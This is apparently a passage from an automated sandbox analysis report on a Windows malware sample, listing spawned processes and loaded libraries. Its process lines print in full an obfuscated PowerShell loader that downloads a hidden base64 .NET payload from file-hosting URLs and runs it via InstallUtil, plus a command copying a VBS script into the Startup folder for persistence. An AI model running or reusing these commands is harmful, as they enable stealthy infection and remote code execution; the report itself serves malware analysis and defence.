LWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
